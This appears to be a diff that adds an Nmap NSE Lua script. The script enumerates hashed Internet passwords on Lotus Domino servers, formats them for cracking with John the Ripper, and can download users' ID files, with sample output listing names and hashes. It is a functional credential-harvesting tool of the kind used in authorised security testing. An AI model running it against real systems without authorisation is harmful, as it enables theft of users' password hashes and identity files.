diff options
Diffstat (limited to 'scripts/http-domino-enum-passwords.nse')
-rw-r--r-- | scripts/http-domino-enum-passwords.nse | 354 |
1 files changed, 354 insertions, 0 deletions
diff --git a/scripts/http-domino-enum-passwords.nse b/scripts/http-domino-enum-passwords.nse new file mode 100644 index 0000000..81be8fe --- /dev/null +++ b/scripts/http-domino-enum-passwords.nse @@ -0,0 +1,354 @@ +local creds = require "creds" +local http = require "http" +local io = require "io" +local shortport = require "shortport" +local stdnse = require "stdnse" +local stringaux = require "stringaux" +local table = require "table" + +description = [[ +Attempts to enumerate the hashed Domino Internet Passwords that are (by +default) accessible by all authenticated users. This script can also download +any Domino ID Files attached to the Person document. Passwords are presented +in a form suitable for running in John the Ripper. + +The passwords may be stored in two forms (http://comments.gmane.org/gmane.comp.security.openwall.john.user/785): + +1. Saltless (legacy support?) + Example: 355E98E7C7B59BD810ED845AD0FD2FC4 + John's format name: lotus5 +2. Salted (also known as "More Secure Internet Password") + Example: (GKjXibCW2Ml6juyQHUoP) + John's format name: dominosec + +It appears as if form based authentication is enabled, basic authentication +still works. Therefore the script should work in both scenarios. Valid +credentials can either be supplied directly using the parameters username +and password or indirectly from results of http-brute or http-form-brute. +]] + +--- +-- @usage +-- nmap --script http-domino-enum-passwords -p 80 <host> --script-args http-domino-enum-passwords.username='patrik karlsson',http-domino-enum-passwords.password=secret +-- +-- @output +-- PORT STATE SERVICE REASON +-- 80/tcp open http syn-ack +-- | http-domino-enum-passwords: +-- | Information +-- | Information retrieved as: "Jim Brass" +-- | Internet hashes (salted, jtr: --format=DOMINOSEC) +-- | Jim Brass:(GYvlbOz2idzni5peJUdD) +-- | Warrick Brown:(GZghNctqAnJgyklUl2ml) +-- | Gill Grissom:(GyhsteeXTr75YOSwW8mc) +-- | David Hodges:(GZEJRHqJEVc5IZCsNX0U) +-- | Ray Langston:(GE18MGVGD/8ftYMFaVlY) +-- | Greg Sanders:(GHpdG/7FX7iXXlaoY5sj) +-- | Sara Sidle:(GWzgG0kCQ5qmnqARL3cl) +-- | Wendy Simms:(G6wooaElHpsvA4TPvSfi) +-- | Nick Stokes:(Gdo2TJBRj1Ervrs9lPUp) +-- | Catherine Willows:(GlDc3QP5ePFR38d7lQeM) +-- | Internet hashes (unsalted, jtr: --format=lotus5) +-- | Ada Lovelace:355E98E7C7B59BD810ED845AD0FD2FC4 +-- | John Smith:655E98E7C7B59BD810ED845AD0FD2FD4 +-- | ID Files +-- | Jim Brass ID File has been downloaded (/tmp/id/Jim Brass.id) +-- | Warrick Brown ID File has been downloaded (/tmp/id/Warrick Brown.id) +-- | Gill Grissom ID File has been downloaded (/tmp/id/Gill Grissom.id) +-- | David Hodges ID File has been downloaded (/tmp/id/David Hodges.id) +-- | Ray Langston ID File has been downloaded (/tmp/id/Ray Langston.id) +-- | Greg Sanders ID File has been downloaded (/tmp/id/Greg Sanders.id) +-- | Sara Sidle ID File has been downloaded (/tmp/id/Sara Sidle.id) +-- | Wendy Simms ID File has been downloaded (/tmp/id/Wendy Simms.id) +-- | Nick Stokes ID File has been downloaded (/tmp/id/Nick Stokes.id) +-- | Catherine Willows ID File has been downloaded (/tmp/id/Catherine Willows.id) +-- | +-- |_ Results limited to 10 results (see http-domino-enum-passwords.count) +-- +-- +-- @args http-domino-enum-passwords.path points to the path protected by +-- authentication. Default:"/names.nsf/People?OpenView" +-- @args http-domino-enum-passwords.hostname sets the host header in case of virtual hosting. +-- Not needed if target is specified by name. +-- @args http-domino-enum-passwords.count the number of internet hashes and id files to fetch. +-- If a negative value is given, all hashes and id files are retrieved (default: 10) +-- @args http-domino-enum-passwords.idpath the path where downloaded ID files should be saved +-- If not given, the script will only indicate if the ID file is donwloadable or not +-- @args http-domino-enum-passwords.username Username for HTTP auth, if required +-- @args http-domino-enum-passwords.password Password for HTTP auth, if required + +-- +-- Version 0.4 +-- Created 07/30/2010 - v0.1 - created by Patrik Karlsson <patrik@cqure.net> +-- Revised 07/31/2010 - v0.2 - add support for downloading ID files +-- Revised 11/25/2010 - v0.3 - added support for separating hash-type <martin@swende.se> +-- Revised 04/16/2015 - v0.4 - switched to 'creds' credential repository <nnposter> + +author = "Patrik Karlsson" +license = "Same as Nmap--See https://nmap.org/book/man-legal.html" +categories = {"intrusive", "auth"} +dependencies = {"http-brute", "http-form-brute"} + + +portrule = shortport.port_or_service({80, 443}, {"http","https"}, "tcp", "open") + +--- Checks if the <code>path</code> require authentication +-- +-- @param host table as received by the action function or the name specified +-- in the hostname argument +-- @param port table as received by the action function +-- @param path against which to check if authentication is required +local function requiresAuth( host, port, path ) + local result = http.get(host, port, "/names.nsf") + + if ( result.status == 401 ) then + return true + elseif ( result.status == 200 and result.body and result.body:match("<input.-type=[\"]*password[\"]*") ) then + return true + end + return false +end + +--- Checks if the credentials are valid and allow access to <code>path</code> +-- +-- @param host table as received by the action function or the name specified +-- in the hostname argument +-- @param port as received by the action method +-- @param path the patch against which to validate the credentials +-- @param user the username used for authentication +-- @param pass the password used for authentication +-- @return true on valid access, false on failure +local function isValidCredential( host, port, path, user, pass ) + -- we need to supply the no_cache directive, or else the http library + -- incorrectly tells us that the authentication was successful + local result = http.get( host, port, path, { auth = { username = user, password = pass }, no_cache = true }) + + if ( result.status == 401 ) then + return false + end + return true +end + +--- Retrieves all uniq links in a pages +-- +-- @param body the html content of the received page +-- @param filter a filter to use for additional link filtering +-- @param links [optional] table containing previously retrieved links +-- @return links table containing retrieved links +local function getLinks( body, filter, links ) + local tmp = {} + local links = links or {} + local filter = filter or ".*" + + if ( not(body) ) then return end + for _, v in ipairs( links ) do + tmp[v] = true + end + + for link in body:gmatch("<a href=\"([^\"]+)\"") do + -- use link as key in order to remove duplicates + if ( link:match(filter)) then + tmp[link] = true + end + end + + links = {} + for k, _ in pairs(tmp) do + table.insert(links, k) + end + + return links +end + +--- Retrieves the "next page" path from the returned document +-- +-- @param body the html content of the received page +-- @return link to next page +local function getPager( body ) + return body:match("<form.+action=\"(.+%?ReadForm)&" ) +end + +--- Retrieves the username and passwords for a user +-- +-- @param body the html content of the received page +-- @return full_name the full name of the user +-- @return password the password hash for the user +local function getUserDetails( body ) + + -- retrieve the details + local full_name = body:match("<input name=\"FullName\".-value=\"(.-)\">") + local http_passwd = body:match("<input name=\"HTTPPassword\".-value=\"(.-)\">") + local dsp_http_passwd = body:match("<input name=\"dspHTTPPassword\".-value=\"(.-)\">") + local id_file = body:match("<a href=\"(.-UserID)\">") + + -- Remove the parenthesis around the password + http_passwd = http_passwd:sub(2,-2) + -- In case we have more than one full name, return only the last + full_name = stringaux.strsplit(";%s*", full_name) + full_name = full_name[#full_name] + + return { fullname = full_name, passwd = ( http_passwd or dsp_http_passwd ), idfile = id_file } +end + +--- Saves the ID file to disk +-- +-- @param filename string containing the name and full path to the file +-- @param data contains the data +-- @return status true on success, false on failure +-- @return err string containing error message if status is false +local function saveIDFile( filename, data ) + local f = io.open( filename, "w") + if ( not(f) ) then + return false, ("Failed to open file (%s)"):format(filename) + end + if ( not(f:write( data ) ) ) then + return false, ("Failed to write file (%s)"):format(filename) + end + f:close() + + return true +end + +local function fail (err) return stdnse.format_output(false, err) end + +action = function(host, port) + + local path = stdnse.get_script_args(SCRIPT_NAME .. '.path') or "/names.nsf/People?OpenView" + local download_path = stdnse.get_script_args(SCRIPT_NAME .. '.idpath') + local vhost= stdnse.get_script_args(SCRIPT_NAME .. '.hostname') + local user = stdnse.get_script_args(SCRIPT_NAME .. '.username') + local pass = stdnse.get_script_args(SCRIPT_NAME .. '.password') + local pos, pager + local links, result, hashes,legacyHashes, id_files = {}, {}, {}, {},{} + local chunk_size = 30 + local max_fetch = tonumber(stdnse.get_script_args(SCRIPT_NAME .. '.count')) or 10 + local http_response + local has_creds = false + -- authentication required? + if ( requiresAuth( vhost or host, port, path ) ) then + -- A user was provided, attempt to authenticate + if ( user ) then + if (not(isValidCredential( vhost or host, port, path, user, pass )) ) then + return fail("The provided credentials were invalid") + end + else + local c = creds.Credentials:new(creds.ALL_DATA, host, port) + for cred in c:getCredentials(creds.State.VALID) do + has_creds = true + if (isValidCredential(vhost or host, port, path, cred.user, cred.pass)) then + user = cred.user + pass = cred.pass + break + end + end + if not pass then + local msg = has_creds and "No valid credentials were found" or "No credentials supplied" + return fail(("%s (see http-domino-enum-passwords.username and http-domino-enum-passwords.password)"):format(msg)) + end + end + end + + http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) + if http_response.status and http_response.status ==200 then + pager = getPager( http_response.body ) + end + if ( not(pager) ) then + if ( http_response.body and + http_response.body:match(".*<input type=\"submit\".* value=\"Sign In\">.*" ) ) then + return fail("Failed to authenticate") + else + return fail("Failed to process results") + end + end + pos = 1 + + -- first collect all links + while( true ) do + path = pager .. "&Start=" .. pos + http_response = http.get( vhost or host, port, path, { auth = { username = user, password = pass }, no_cache = true }) + + if ( http_response.status == 200 ) then + local size = #links + links = getLinks( http_response.body, "%?OpenDocument", links ) + -- No additions were made + if ( size == #links ) then + break + end + end + + if ( max_fetch > 0 and max_fetch < #links ) then + break + end + + pos = pos + chunk_size + end + + for _, link in ipairs(links) do + stdnse.debug2("Fetching link: %s", link) + http_response = http.get( vhost or host, port, link, { auth = { username = user, password = pass }, no_cache = true }) + local u_details = getUserDetails( http_response.body ) + + if ( max_fetch > 0 and (#hashes+#legacyHashes)>= max_fetch ) then + break + end + + if ( u_details.fullname and u_details.passwd and #u_details.passwd > 0 ) then + stdnse.debug2("Found Internet hash for: %s:%s", u_details.fullname, u_details.passwd) + -- Old type are 32 bytes, new are 20 + if #u_details.passwd == 32 then + table.insert( legacyHashes, ("%s:%s"):format(u_details.fullname, u_details.passwd)) + else + table.insert( hashes, ("%s:(%s)"):format(u_details.fullname, u_details.passwd)) + end + end + + if ( u_details.idfile ) then + stdnse.debug2("Found ID file for user: %s", u_details.fullname) + if ( download_path ) then + stdnse.debug2("Downloading ID file for user: %s", u_details.full_name) + http_response = http.get( vhost or host, port, u_details.idfile, { auth = { username = user, password = pass }, no_cache = true }) + + if ( http_response.status == 200 ) then + local filename = download_path .. "/" .. stringaux.filename_escape(u_details.fullname .. ".id") + local status, err = saveIDFile( filename, http_response.body ) + if ( status ) then + table.insert( id_files, ("%s ID File has been downloaded (%s)"):format(u_details.fullname, filename) ) + else + table.insert( id_files, ("%s ID File was not saved (error: %s)"):format(u_details.fullname, err ) ) + end + else + table.insert( id_files, ("%s ID File was not saved (error: unexpected response from server)"):format( u_details.fullname ) ) + end + else + table.insert( id_files, ("%s has ID File available for download"):format(u_details.fullname) ) + end + end + end + + if( #hashes + #legacyHashes > 0) then + table.insert( result, { name = "Information", [1] = ("Information retrieved as: \"%s\""):format(user) } ) + end + + if ( #hashes ) then + hashes.name = "Internet hashes (salted, jtr: --format=DOMINOSEC)" + table.insert( result, hashes ) + end + if (#legacyHashes ) then + legacyHashes.name = "Internet hashes (unsalted, jtr: --format=lotus5)" + table.insert( result, legacyHashes ) + end + + if ( #id_files ) then + id_files.name = "ID Files" + table.insert( result, id_files ) + end + + local result = stdnse.format_output(true, result) + + if ( max_fetch > 0 ) then + result = result .. (" \n Results limited to %d results (see http-domino-enum-passwords.count)"):format(max_fetch) + end + + return result + +end |